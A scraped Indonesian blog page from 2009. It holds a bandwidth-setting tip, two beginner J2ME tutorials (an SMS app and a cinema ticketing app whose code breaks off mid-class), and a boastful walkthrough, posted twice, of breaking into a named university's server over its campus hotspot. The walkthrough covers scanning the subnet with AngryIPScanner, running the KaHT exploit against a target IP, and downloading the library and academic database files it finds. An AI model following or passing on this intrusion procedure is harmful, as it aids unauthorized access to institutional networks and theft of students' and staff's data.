8. Setelah itu Pada tabel bawah pada tulisan “ Bandwidth Limit % “ Ubah Dari “20” Menjadi “80 atau 20”, Lalu “Apply” , “ OK “. setting ini tergantung dari jumlah komputer, jika kita mau setting setiap komputer dapet bandwith 10% maka kita tinggal masukan angka 90%, bila setiap komputer ingin kita set dapat 20% maka tinggal kita masukan angka 80%.
semoga membantu.
22.04
viandra
Untuk menghajar data base server persiapannya gampang kok…, tinggal mengenali apakah di sana maksudnya di kampus ada hotspot ato tidak … kalo ada ya tinggal menyiapkan tools yang harus di bawa..
1. Laptop .. jelas laptop lah wajib … jika di universitas ada hotspot nah itu sasaran empuk untuk di kerjai …
2. Persiapan kedua harus mengenali server di sana … maksudnya server tersebut memakai jenis apa aja sih??? Jika memakai windows ya gunakan atau kumpulkan exploit windows di laptop anda, kalau pakai linux ya siapkan exploit linux di laptop anda.
3. Nah selanjutnya adalah kendaraan untuk ke kampus … untuk menjemput hotspot di sana …
4. Softwarer yang digunakan :
a. AngryIPscanner
b. Kaht
c. DOS (Diskette Operating System)
PROSES PENYUSUPAN
OKE INI bagian yang ditunggu tunggu kan ….. pertama cari aja hotspot mo di perpus atau di lobby, mending cari aja tempat sepi …
Bagaimana cara mengetahui IP Adress? Gampang …coba lihat di kanan bawah windows … ada kan gambar icon yang tersambung ke hotspot server … nah klik 2 kali aja: Na kliatan kan kita telah masuk kek jaringan hotspot nya … soalnya server memakai metode DHCP, istilahnya sambung langsung, jadi kita mendapat IP address langsung:
IP Address : 192.168.4.173 (ip address kita)
Subnet : 255.255.255.0
Default Gateway : 192.168.4.1 ( nah ini adalah server gatewaynya atau istilahnya wireless server nya lah)
Nah kalau sudah kemudian gunakan AngryIPScanner untuk memetakan jaringan yang di sana … seperti pada gambar :
wow wow wow ternyata banyak yah server yang idup…. , pertama kita tentukan aja IP address yang discan … misalnya 192.168.1.0 sampai 192.168.1.255. Di situ terlihat kan ada komputer dosen – dosen dan server YKPN itu sendiri …. Ck ck ck …kenapa harus memakai orang dalem … orang luar aja bisa kok mengubah nya sendiri … oke … kita pilih yang ada kata2 servernya SERVERBOX dengan IP adress 192.168.1.237 yah gambling ajah dulu ….
Setelah itu coba pakai exploit KaHT, apa itu KaHT, baca aja sendiri … banyak di google okeh … cari ajah…:
Untuk menjalankan KaHT harus masuk ke DOS mode dulu, kemudian jalankan KaHT.exe nah setelah itu … akan muncul gambar seperti di atas… untuk sintaks penulisan KaHT adalah :
KaHT IP address1 [spasi] ipaddress2
Contoh penulisan untuk bisa masuk ke database YKPN:
KaHT 192.168.17.235 192.168.17.237
Nah setelah ketik sintaks di atas, tekan enter :
BANG BANG BANG!!!! Mati ………… kita sudah dapat masuk ke host SERVERBOX, nah coba kita melihat2 isi dalamnya yak … ada apa di sana:
suit suit……… apa tuh perpustakaan.mdb,… kliatannya file database tuh …. Silakan aja donlot … coba ke direktori lainnya :
Hmmm…. Coba liat di gambar …. Wauw akademik-info.adp ukurannya gigabyte … hmmm… silahkan aja lah … teserah mo diapain …
For admin please patch your system … mungkin serverbox hanya sekedar infocenter … tapi dengan cara seperti ini kemungkinan serverppmb atau yang lainnya dapat dimasuki oleh yang lain …
Maaf kalau sedikit agak radikal …. Ya bukan mau menunjukkan gigi, tapi hanya membongkar fakta sebenarnya aja … semoga dapat diambil hikmah positif-nya dari artikel ini .. jadi jangan diambil negatif nya yah … tolong tolong … di atas langit masi ada langit … saya bukan yang ter expert dalam hal ini … masi ada yang lebih jago kok … thanks ….
1. Laptop .. jelas laptop lah wajib … jika di universitas ada hotspot nah itu sasaran empuk untuk di kerjai …
2. Persiapan kedua harus mengenali server di sana … maksudnya server tersebut memakai jenis apa aja sih??? Jika memakai windows ya gunakan atau kumpulkan exploit windows di laptop anda, kalau pakai linux ya siapkan exploit linux di laptop anda.
3. Nah selanjutnya adalah kendaraan untuk ke kampus … untuk menjemput hotspot di sana …
4. Softwarer yang digunakan :
a. AngryIPscanner
b. Kaht
c. DOS (Diskette Operating System)
PROSES PENYUSUPAN
OKE INI bagian yang ditunggu tunggu kan ….. pertama cari aja hotspot mo di perpus atau di lobby, mending cari aja tempat sepi …
Bagaimana cara mengetahui IP Adress? Gampang …coba lihat di kanan bawah windows … ada kan gambar icon yang tersambung ke hotspot server … nah klik 2 kali aja: Na kliatan kan kita telah masuk kek jaringan hotspot nya … soalnya server memakai metode DHCP, istilahnya sambung langsung, jadi kita mendapat IP address langsung:
IP Address : 192.168.4.173 (ip address kita)
Subnet : 255.255.255.0
Default Gateway : 192.168.4.1 ( nah ini adalah server gatewaynya atau istilahnya wireless server nya lah)
Nah kalau sudah kemudian gunakan AngryIPScanner untuk memetakan jaringan yang di sana … seperti pada gambar :
wow wow wow ternyata banyak yah server yang idup…. , pertama kita tentukan aja IP address yang discan … misalnya 192.168.1.0 sampai 192.168.1.255. Di situ terlihat kan ada komputer dosen – dosen dan server YKPN itu sendiri …. Ck ck ck …kenapa harus memakai orang dalem … orang luar aja bisa kok mengubah nya sendiri … oke … kita pilih yang ada kata2 servernya SERVERBOX dengan IP adress 192.168.1.237 yah gambling ajah dulu ….
Setelah itu coba pakai exploit KaHT, apa itu KaHT, baca aja sendiri … banyak di google okeh … cari ajah…:
Untuk menjalankan KaHT harus masuk ke DOS mode dulu, kemudian jalankan KaHT.exe nah setelah itu … akan muncul gambar seperti di atas… untuk sintaks penulisan KaHT adalah :
KaHT IP address1 [spasi] ipaddress2
Contoh penulisan untuk bisa masuk ke database YKPN:
KaHT 192.168.17.235 192.168.17.237
Nah setelah ketik sintaks di atas, tekan enter :
BANG BANG BANG!!!! Mati ………… kita sudah dapat masuk ke host SERVERBOX, nah coba kita melihat2 isi dalamnya yak … ada apa di sana:
suit suit……… apa tuh perpustakaan.mdb,… kliatannya file database tuh …. Silakan aja donlot … coba ke direktori lainnya :
Hmmm…. Coba liat di gambar …. Wauw akademik-info.adp ukurannya gigabyte … hmmm… silahkan aja lah … teserah mo diapain …
For admin please patch your system … mungkin serverbox hanya sekedar infocenter … tapi dengan cara seperti ini kemungkinan serverppmb atau yang lainnya dapat dimasuki oleh yang lain …
Maaf kalau sedikit agak radikal …. Ya bukan mau menunjukkan gigi, tapi hanya membongkar fakta sebenarnya aja … semoga dapat diambil hikmah positif-nya dari artikel ini .. jadi jangan diambil negatif nya yah … tolong tolong … di atas langit masi ada langit … saya bukan yang ter expert dalam hal ini … masi ada yang lebih jago kok … thanks ….
Sabtu, 28 November 2009
21.07
viandra
Sebelum mempelajari sesuatu biasanya karena seseorang itu ingin bisa sesuatu juga, contoh belajar nyetir mobil agar nyetir mobil dan syukur syukur agar bisa beli mobil, belajar komputer dan internetan agar bisa FS-an, belajar pemrograman JAVA karena agar bisa dapet nilai yang bagus dari pak Dosen…hayah ga nyambung kabeh. sudah lupakan contoh contoh tadi.
Dulu awal aku belajar J2ME karena ingin bisa membuat aplikasi di handphone yang bisa kirim sms. Walopun udah sering belajar tapi ternyata masih sedikit kebisaanku dalam hal ini, tapi jangan putus asa, aku harus giat belajar…. oya bagi yang baru belajar sama seperti aku dibawah ini nanti ada source code aplikasi untuk kirim dan terima sms. masih sederhana sih. makanya ini hanya bagi yang baru belajar aja, liat aja sesuai dengan judulnya kan. Bagi yang udah master mohon koreksi ya jika ada yang salah. trus kalo ada yang mau belajar dan mendiskusikan source code yang aku buat ini, semoga ini bisa menjadi ajang buat diskusi. dan dibikin asik aja.
Ok. source codenya (beserta penjelasannya, walopun gak informatif banget tp lumayan lah) adalah :
diatas ini skrinsut awal saat aplikasi dijalankan. ada 3 menu. lumayankan kalo untuk belajar. besok di tambah lagi ada menu inboxnya. sengaja tak jalankan di dua emulator agar bisa dicoba buat kirim dan menerima sms. hp putih akan mencoba mengirim sms ke hp hitam. si putih tadi memilih menu “Tulis Sms”
Sekarang si putih menulis pesan yang akan dikirimnya, si hitam stand by aja.
Setelah dirasa cukup menulis pesannya, si putih memilih tomb0l kirim dan memasukan no tujuan punya si hitam. kemudian siputih menekan tombol kirim.
kita liat setelah si putih menekan tombol kirim ga berapa lama sihitam menerima sms yang dikirim oleh si putih, dan di bacanya. Karena ditanyain kabarnya, si hitam ingin membalas sms dari siputih tadi. maka dia pilih tombol balas. si putih tentunya diem aja, karena menunggu balesan sms nya.
Si hitam menulis sms balasannya, dah cukup menulis, si hitam tekan tombol kirim.
si hitam memasukan no tujuan punya si putih, dan dikirim sms balesannya.
Alhammdulillah sms balesan dari si hitam udah masuk ke si putih dan sedang dibaca oleh si putih.
Nah begitu seterusnya si putih kemudian membalas lagi, si hitam juga. mereka saling berbalas sms sampe pulsa mereka habis, selain itu juga jempol mereka udah capek ngetik sms. ceritanya sampe disini dulu.
oya yang mau aplikasi jadinya program kita diatas tadi download disini.
Nah lo menu yang lain kok ga di peragakan juga? gak ah, bisa coba sendiri, namanya belajar kok jadi harus banyak coba coba sendiri kan?
diatas tadi sekilas source code untuk kirim dan terima sms dengan j2me, besok aplikasi diatas ditambah dengan menu inbox, outbox, trus menu settings…udah deh kebanyakan. untuk menyimpan Sms di inbox dan outbox enaknya pake database aja nih. pake RMS tentunya. jadi belajar dulu RMS yuk. yukk….
Dulu awal aku belajar J2ME karena ingin bisa membuat aplikasi di handphone yang bisa kirim sms. Walopun udah sering belajar tapi ternyata masih sedikit kebisaanku dalam hal ini, tapi jangan putus asa, aku harus giat belajar…. oya bagi yang baru belajar sama seperti aku dibawah ini nanti ada source code aplikasi untuk kirim dan terima sms. masih sederhana sih. makanya ini hanya bagi yang baru belajar aja, liat aja sesuai dengan judulnya kan. Bagi yang udah master mohon koreksi ya jika ada yang salah. trus kalo ada yang mau belajar dan mendiskusikan source code yang aku buat ini, semoga ini bisa menjadi ajang buat diskusi. dan dibikin asik aja.
Ok. source codenya (beserta penjelasannya, walopun gak informatif banget tp lumayan lah) adalah :
import java.util.*; import java.io.IOException; import javax.microedition.io.*; import javax.microedition.lcdui.*; import javax.wireless.messaging.*; import javax.microedition.midlet.*; /** * @author viandra
* @see http://www.viandrafunky.co.cc
*/ public class smsKu extends MIDlet implements CommandListener, Runnable, MessageListener { Display display; Form form; List menuList; //list untuk menu awal Command exitCom, replyCom, backCom, clrCom, sendCom; //macem macem command yg digunakan TextBox textSmsMasuk, textSmsKeluar; //tempat untuk text sms yg masuk dan yg mau dikirim TextField textNo; //untuk tempat memasukan no tujuan String port, isiSmsKeluar; //port dan isi sms Thread thread; String[] connections; boolean done; MessageConnection smsconn; Message msg; public smsKu() { display = Display.getDisplay(this); form = new Form("sms-an Yuk"); exitCom = new Command("keluar", Command.EXIT, 1); replyCom = new Command("balas", Command.SCREEN, 1); backCom = new Command("Kembali", Command.BACK, 3); clrCom = new Command("Hapus Tulisan", Command.OK, 2); sendCom = new Command("Kirim", Command.OK, 1); menuList = new List("Menu sms Ku", List.IMPLICIT); port = "4321"; //port yang aku gunakan, silakan ganti sesuai keinginan masing masing textSmsMasuk = new TextBox(null, null, 500, TextField.ANY); textSmsKeluar = new TextBox("Silakan Menulis Sms", null, 500, TextField.ANY); textNo = new TextField("Masukan Nomor Tujuan", "", 15, TextField.PHONENUMBER); } public void startApp() { bukaKoneksi(); //disini membuka koneksi untuk siap menerima sms masuk menu(); // bikin tampilan menu awal } public void pauseApp() { } public void destroyApp(boolean unconditional) { //sebelum aplikasinya keluar ato mati koneksi ditutup dulu done = true; thread = null; if (smsconn != null) { try { smsconn.close(); } catch (IOException e) { } } //disini mati deh aplikasi kita notifyDestroyed(); } public void menu() { //membuat menu awal untuk sementara ini baru ada 3 menu dulu menuList.append("Tulis Sms", null);//1. menu tulis sms baru menuList.append("about", null); //2. menu about (gak penting sih sebenarnya) menuList.append("Keluar", null); //3. menu untuk keluar aplikasi menuList.addCommand(exitCom); //add command keluar menuList.setCommandListener(this); display.setCurrent(menuList); } public void tulisSms() { //membuat textbox untuk menulis sms baru textSmsKeluar.addCommand(sendCom); //add command untuk kirim textSmsKeluar.addCommand(clrCom); // add command untuk clear text textSmsKeluar.addCommand(backCom); //add command untuk kembali kemenu awal textSmsKeluar.setCommandListener(this); display.setCurrent(textSmsKeluar); } public void masukNo() { //disini untuk memasukan nomor tujuan yang mau dikirimi sms form.setTitle("Sms Siap dikirim"); //udah taukan yang ini? form.append(textNo); //menambahkan textField untuk nomor tujuan form.addCommand(backCom); //menambahkan command untuk kembali ke menu awal form.addCommand(sendCom); //menambahkan command untuk mengirim form.setCommandListener(this); display.setCurrent(form); } public void kirim() { //disini sms yang udah ditulis dikirim dengan perintah dibawah ini new Thread(new Runnable() { //perhatiin ya public void run() { try { String isiSms = isiSmsKeluar; String noTujuan = textNo.getString(); String address = "sms://" + noTujuan + ":" + port; MessageConnection smsConnKir = null; Message isiSmsNya = null; smsConnKir = (MessageConnection) Connector.open(address); TextMessage txtmessage = (TextMessage) smsConnKir.newMessage(MessageConnection.TEXT_MESSAGE); txtmessage.setAddress(address); txtmessage.setPayloadText(isiSms); isiSmsNya = txtmessage; smsConnKir.send(isiSmsNya); } catch (Throwable t) { t.printStackTrace(); } } }).start(); } public void terima(String isi, String no, Date tgl) { //ini untuk tempat membaca sms yang masuk String nonya = fixNomer(no); textSmsMasuk = new TextBox("Sms dari:" + nonya + " " + tgl, isi, isi.length(), TextField.ANY); textSmsMasuk.addCommand(replyCom); textSmsMasuk.addCommand(exitCom); textSmsMasuk.setCommandListener(this); display.setCurrent(textSmsMasuk); } public void bukaKoneksi() { //membuka koneksi agar bisa menerima sms yg masuk String smsConnection = "sms://:" + port; done = true; thread = null; try { smsconn = (MessageConnection) Connector.open(smsConnection); smsconn.setMessageListener(this); } catch (IOException ioe) { ioe.printStackTrace(); } connections = PushRegistry.listConnections(true); done = false; thread = new Thread(this); thread.start(); } public void tutupKoneksi() { //untuk menutup koneksi sms try { smsconn.close(); } catch (IOException e) { } } public String fixNomer(String no) { //dari format no gini "sms://+6285XXXX" jadi "+6285XXX" gitu fungsinya disini itu String hs = null; hs = no.substring(6, no.length()); return hs; } public void commandAction(Command c, Displayable d) { if (c == exitCom) { destroyApp(true); } if (d == menuList) { if (menuList.isSelected(0)) { tulisSms(); } else if (menuList.isSelected(1)) { Alert about = new Alert("About", "Aplikasi SMS buatan sendiri", null, AlertType.INFO); display.setCurrent(about); } else if (menuList.isSelected(2)) { destroyApp(true); } } if (d == textSmsKeluar) { if (c == sendCom) { form.deleteAll(); masukNo(); } else if (c == clrCom) { textSmsKeluar.setString(""); } else if (c == backCom) { display.setCurrent(menuList); } } if (d == textSmsMasuk) { if (c == exitCom) { display.setCurrent(menuList); } else if (c == replyCom) { tulisSms(); } } if (d == form) { if (c == backCom) { form.deleteAll(); display.setCurrent(textSmsKeluar); } else if (c == sendCom) { isiSmsKeluar = textSmsKeluar.getString(); textSmsKeluar.setString(""); kirim(); } } } public void run() { //untuk menerima sms yang masuk try { msg = smsconn.receive(); String senderAddress = msg.getAddress(); Date waktuSms = msg.getTimestamp(); if (msg instanceof TextMessage) { String isiSmsMasuk = ((TextMessage) msg).getPayloadText(); terima(isiSmsMasuk, senderAddress, waktuSms);//ini memasukan sms yg diterima ke textbox } tutupKoneksi(); bukaKoneksi(); } catch (IOException e) { } } public void notifyIncomingMessage(MessageConnection conn) { if (thread == null) { done = false; thread = new Thread(this); thread.start(); } } }setelah source code nya, biar afdol tak kasih juga scrinsutnya:
diatas ini skrinsut awal saat aplikasi dijalankan. ada 3 menu. lumayankan kalo untuk belajar. besok di tambah lagi ada menu inboxnya. sengaja tak jalankan di dua emulator agar bisa dicoba buat kirim dan menerima sms. hp putih akan mencoba mengirim sms ke hp hitam. si putih tadi memilih menu “Tulis Sms”
Sekarang si putih menulis pesan yang akan dikirimnya, si hitam stand by aja.
Setelah dirasa cukup menulis pesannya, si putih memilih tomb0l kirim dan memasukan no tujuan punya si hitam. kemudian siputih menekan tombol kirim.
kita liat setelah si putih menekan tombol kirim ga berapa lama sihitam menerima sms yang dikirim oleh si putih, dan di bacanya. Karena ditanyain kabarnya, si hitam ingin membalas sms dari siputih tadi. maka dia pilih tombol balas. si putih tentunya diem aja, karena menunggu balesan sms nya.
Si hitam menulis sms balasannya, dah cukup menulis, si hitam tekan tombol kirim.
si hitam memasukan no tujuan punya si putih, dan dikirim sms balesannya.
Alhammdulillah sms balesan dari si hitam udah masuk ke si putih dan sedang dibaca oleh si putih.
Nah begitu seterusnya si putih kemudian membalas lagi, si hitam juga. mereka saling berbalas sms sampe pulsa mereka habis, selain itu juga jempol mereka udah capek ngetik sms. ceritanya sampe disini dulu.
oya yang mau aplikasi jadinya program kita diatas tadi download disini.
Nah lo menu yang lain kok ga di peragakan juga? gak ah, bisa coba sendiri, namanya belajar kok jadi harus banyak coba coba sendiri kan?
diatas tadi sekilas source code untuk kirim dan terima sms dengan j2me, besok aplikasi diatas ditambah dengan menu inbox, outbox, trus menu settings…udah deh kebanyakan. untuk menyimpan Sms di inbox dan outbox enaknya pake database aja nih. pake RMS tentunya. jadi belajar dulu RMS yuk. yukk….
20.52
viandra
Aplikasi ini terdiri dari 2 bagian, yaitu sisi klien dan sisi server. Sisi client, yang diberikan pada bagian I ini, dibuat dengan menggunakan Java 5.0 dan WTK 2.0, sedangkan bagian server, dibuat dengan menggunakan
ASP . Aplikasi client nantinya akan di-deploy ke dalam ponsel dalam bentuk midlet, sedangkan aplikasi server diletakkan pada server internet.
Untuk memudahkan pemahaman, hanya ada 1 kelas java, yaituclass bioskop. Cara kerjanya sbb:
//author : cosa aranda & christina fdl
//import paket yang diperlukan
import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;
import javax.microedition.io.*;
import javax.microedition.rms.*;
import java.io.*;
import java.util.Vector;
import java.util.Date;
public class bioskop extends MIDlet implements Runnable, CommandListener {
//deklarasi variabel
private Display display; //interface tampilan
private List menu; //menu untuk tampilan yg menggunakan pilihan menu
private Form form; //form untuk tampilan yg tidak menggunakan pilihan menu
private Ticker ticker; //teks berjalan di bagian atas layar
private Command cmdBack, cmdOK, cmdExit, cmdAbout; //command di bagian bawah layar
//cmdBack untuk kembali ke tampilan sebelumnya
//cmdOK untuk proses form
//cmdExit untuk keluar dariprogram
//cmdAbout untuk menampilkan informasiprogram
private TextField txtNama,txtAlamat,txtNoKTP,txtJumlah,txtTransaksi; //textfield pada form
private ChoiceGroup group; //radiobutton pada form
private StringItem strStatus,strMemo; //stringitem pada form
private DateField tanggal; //tanggal pada form
private String currentWindow; //menyimpan lokasi tampilan yg aktif saat ini (menu/form)
private Vector dataTemp; //array penyimpanan sementara
//untuk feedback dari koneksi ke server
private String strTemp; //string penyimpanan sementara
private Thread thread; //thread untuk proses koneksi ke server
private RecordStoredatabase ; //database rms untuk menyimpan id transaksi
//konstruktor class – dijalankan pertama kali
public bioskop() {
//arahkan variabel display supaya mengacu pada layar program
display = Display.getDisplay(this);
//inisialiasi command – prioritas 0 di kanan bawah, prioritas 1 di kiri bawah
cmdBack = new Command(”Kembali”,Command.BACK,1);
cmdExit = new Command(”Keluar”,Command.STOP,1);
cmdOK = new Command(”OK”,Command.OK,0);
cmdAbout = new Command(”Tentang”,Command.SCREEN,0);
}
//dijalankan saat program dijalankan
public void startApp() {
//siapkan datatabase rms
bukaDatabase();
//tampilkan menu utama
menuUtama();
}
//dijalankan saat program dipause
public void pauseApp() {
//display = null;
//menu = null;
}
//dijalankan saat program ditutup
public void destroyApp(boolean b) {
notifyDestroyed();
}
//destruktor class – dijalankan saat keluar program, akan mentrigger fungsi destroyApp
private void keluar() {
try {
//tutup database
tutupDatabase();
//jika sukses, tutup program
this.destroyApp(true);
} catch(NullPointerException e) { //ignore jika ada error, tetap tutup program
this.destroyApp(true);
}
}
//fungsi untuk melakukan koneksi ke internet dengan menggunakan StreamConnection
//digunakan untuk mengambildata dari web atau mengirim data form dengan metode GET
//input : alamat URL yang akan diakses
//output : array dataTemp berisi output
private void openURL(String URLSite) {
//deklarasi dan inisialiasi variabel koneksi
StreamConnection con = null;
InputStream in = null;
//stringbuffer – penyimpanan sementara untuk output
StringBuffer data = new StringBuffer();
//kosongkan array dataTemp
dataTemp = new Vector();
try {
//lakukan koneksi ke URLSite
con = (StreamConnection)Connector.open(URLSite);
//buka input stream
in = con.openInputStream();
int ch;
//baca output dari input stream karakter per karakter hingga output habis
//ch menampung karakter yang saat ini sedang dibaca (in.read())
//jika output sudah habis, ch akan bernilai -1
while ((ch=in.read()) != -1) {
//jika ch <> “|”
if (ch!=’|') {
//tambahkan ch ke dalam string penyimpanan sementara (stringbuffer)
data.append((char)ch);
} else if (ch==’|') { //jika ch = “|”
//tambahkan stringbuffer ke dalam array dataTemp
dataTemp.addElement(data.toString());
//kosongkan kembali stringbuffer
data = new StringBuffer();
}
}
//jika output habis, tambahkan stringbuffer ke dalam array dataTemp
dataTemp.addElement(data.toString());
} catch (IOException e) {
formError(”Ada kesalahan!”);
}
}
//fungsi untuk membuat tampilan menu utama
private void menuUtama() {
//simpan lokasi tampilan
currentWindow = “menuUtama”;
//set tulisan pada ticker
ticker = new Ticker(”Selamat Datang di Bioskop Online”);
//siapkan menu
menu = new List(”Menu Utama”,Choice.IMPLICIT);
//tambahkan pilihan menu
menu.append(”Info Film”,null);
menu.append(”Jadwal Film”,null);
menu.append(”Pesan Tiket”,null);
//tambahkan command
menu.addCommand(cmdExit); menu.addCommand(cmdAbout);
//tempelkan ticker ke menu
menu.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
menu.setCommandListener(this);
//tampilkan menu ke layar
display.setCurrent(menu);
}
//fungsi untuk membuat tampilan menu Info Film
private void menuInfo () {
//simpan lokasi tampilan
currentWindow = “menuInfo”;
//set tulisan pada ticker
ticker = new Ticker(”Informasi dan Sinopsis Film”);
menu = new List(”Menu Info Film”,Choice.IMPLICIT);
//karena ada pengkasesan ke internet (baca judul film – movie.asp), siapkan thread
if (thread==null) {
thread = new Thread(this);
}
//jalankan thread
thread.start();
//tambahkan command
menu.addCommand(cmdBack);
//tempelkan ticker ke menu
menu.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
menu.setCommandListener(this);
//tampilkan menu ke layar
display.setCurrent(menu);
}
//fungsi untuk membuat tampilan form Info Film
private void formInfo(String title) {
//simpan lokasi tampilan
currentWindow = “formInfo”;
//set tulisan pada ticker
ticker = new Ticker(”Informasi dan Sinopsis Film”);
form = new Form(title);
//karena ada pengkasesan ke internet (baca informasi film – movie.asp?movie=judulfilm), siapkan thread
if (thread==null) {
thread = new Thread(this);
}
//jalankan thread
thread.start();
//tambahkan command
form.addCommand(cmdBack);
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan form Jadwal Film
private void formJadwal() {
//simpan lokasi tampilan
currentWindow = “formJadwal”;
//set tulisan pada ticker
ticker = new Ticker(”Jadwal Pemutaran Film Hari Ini”);
form = new Form(”Jadwal Hari Ini”);
//karena ada pengkasesan ke internet (baca jadwal film – jadwal.asp), siapkan thread
if (thread==null) {
thread = new Thread(this);
}
//jalankan thread
thread.start();
//tambahkan command
form.addCommand(cmdBack);
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan menu Pesan Tiket
private void menuPesan() {
//simpan lokasi tampilan
currentWindow = “menuPesan”;
//set tulisan pada ticker
ticker = new Ticker(”Pemesanan Tiket Bioskop Online”);
menu = new List(”Pesan Tiket”,Choice.IMPLICIT);
menu.append(”Pesan”,null);
menu.append(”Batal”,null);
menu.append(”History”,null);
//tambahkan command
menu.addCommand(cmdBack); menu.addCommand(cmdOK);
//tempelkan ticker ke menu
menu.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
menu.setCommandListener(this);
//tampilkan menu ke layar
display.setCurrent(menu);
}
//fungsi untuk membuat tampilan form Pesan Tiket
private void formPesan() {
//simpan lokasi tampilan
currentWindow = “formPesan”;
//set tulisan pada ticker
ticker = new Ticker(”Pemesanan Tiket Bioskop Online”);
form = new Form(”Pemesanan Tiket”);
txtNama = new TextField(”Nama”,”",25,TextField.ANY);
txtAlamat = new TextField(”Alamat”,”",50,TextField.ANY);
txtNoKTP = new TextField(”No KTP”,”",20,TextField.ANY);
txtJumlah = new TextField(”Jumlah”,”",3,TextField.ANY);
group = new ChoiceGroup(”Studio / Waktu”,Choice.EXCLUSIVE);
tanggal = new DateField(”Tanggal”,DateField.DATE);
//karena ada pengkasesan ke internet (baca jadwal film – jadwal.asp), siapkan thread
if (thread==null) {
thread = new Thread(this);
}
//jalankan thread
thread.start();
form.append(txtNama); form.append(txtAlamat); form.append(txtNoKTP);
form.append(tanggal); form.append(group); form.append(txtJumlah);
//tambahkan command
form.addCommand(cmdBack); form.addCommand(cmdOK);
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan proses Pesan Tiket
private void formPesankan() {
//simpan lokasi tampilan
currentWindow = “formPesankan”;
//set tulisan pada ticker
ticker = new Ticker(”Pemesanan Tiket Bioskop Online”);
form = new Form(”Proses Transaksi”);
strStatus = new StringItem(”Sedang proses…”,”");
strMemo = new StringItem(”",”");
txtTransaksi = new TextField(”ID Transaksi”,”",50,TextField.ANY);
//karena ada pengkasesan ke internet (simpan transaksi – pesan.asp), siapkan thread
if (thread==null) {
thread = new Thread(this);
}
//jalankan thread
thread.start();
form.append(strStatus); form.append(txtTransaksi); form.append(strMemo);
//tambahkan command
form.addCommand(cmdBack);
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan form Pembatalan Tiket
private void formBatal() {
//simpan lokasi tampilan
currentWindow = “formBatal”;
//set tulisan pada ticker
ticker = new Ticker(”Pembatalan Pemesanan Tiket Bioskop Online”);
form = new Form(”Pembatalan Tiket”);
//siapkan radiobutton untuk menampung daftar ID transaksi yang di-load di fungsi ambilDatabase()
group = new ChoiceGroup(”ID Transaksi”,Choice.EXCLUSIVE);
//ambil catatan ID transaksi dari database rms
ambilDatabase();
//strTemp berisi ID transaksi yang terakhir dibaca dari database rms
//jika kosong, berarti tidak ada catatan transaksi dalam database
if (strTemp.equals(”")) { //tidak ada catatan transaksi dalam database
form.append(”Tidak ada catatan transaksi pemesanan tiket”);
//tambahkan command
form.addCommand(cmdBack);
} else { //ada catatan transaksi dalam database
txtNoKTP = new TextField(”No KTP”,”",20,TextField.ANY);
form.append(”Untuk membatalkan pemesanan tiket, pilih ID Transaksi yang ingin dibatalkan dan masukkan No KTP Anda”);
form.append(group);
form.append(txtNoKTP);
form.append(”Tekan OK untuk proses.”);
//tambahkan command
form.addCommand(cmdBack); form.addCommand(cmdOK);
}
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan form proses Pembatalan Tiket
private void formBatalkan() {
//simpan lokasi tampilan
currentWindow = “formBatalkan”;
//set tulisan pada ticker
ticker = new Ticker(”Pembatalan Pemesanan Tiket Bioskop Online”);
form = new Form(”Proses Pembatalan Transaksi”);
strStatus = new StringItem(”Sedang proses…”,”");
strMemo = new StringItem(”",”");
//karena ada pengkasesan ke internet (batalkan pemesanan tiket, batal.asp), siapkan thread
if (thread==null) {
thread = new Thread(this);
}
//jalankan thread
thread.start();
form.append(strStatus); form.append(strMemo);
//tambahkan command
form.addCommand(cmdBack);
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan form History Pemesanan Tiket
private void formHistory() {
//simpan lokasi tampilan
currentWindow = “formHistory”;
//set tulisan pada ticker
ticker = new Ticker(”History Pemesanan Tiket Bioskop Online”);
form = new Form(”History”);
//siapkan radiobutton untuk menampung daftar ID transaksi yang di-load di fungsi ambilDatabase()
group = new ChoiceGroup(”ID Transaksi”,Choice.EXCLUSIVE);
//ambil catatan ID transaksi dari database rms
ambilDatabase();
//strTemp berisi ID transaksi yang terakhir dibaca dari database rms
//jika kosong, berarti tidak ada catatan transaksi dalam database
if (strTemp.equals(”")) { //tidak ada catatan transaksi dalam database
form.append(”Tidak ada catatan transaksi pemesanan tiket”);
//tambahkan command
form.addCommand(cmdBack);
} else { //ada catatan transaksi dalam database
form.append(”Di bawah ini adalah ID Transaksi Anda”);
form.append(group);
form.append(”Tekan OK untuk menampilkan detail transaksi.”);
//tambahkan command
form.addCommand(cmdBack); form.addCommand(cmdOK);
}
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
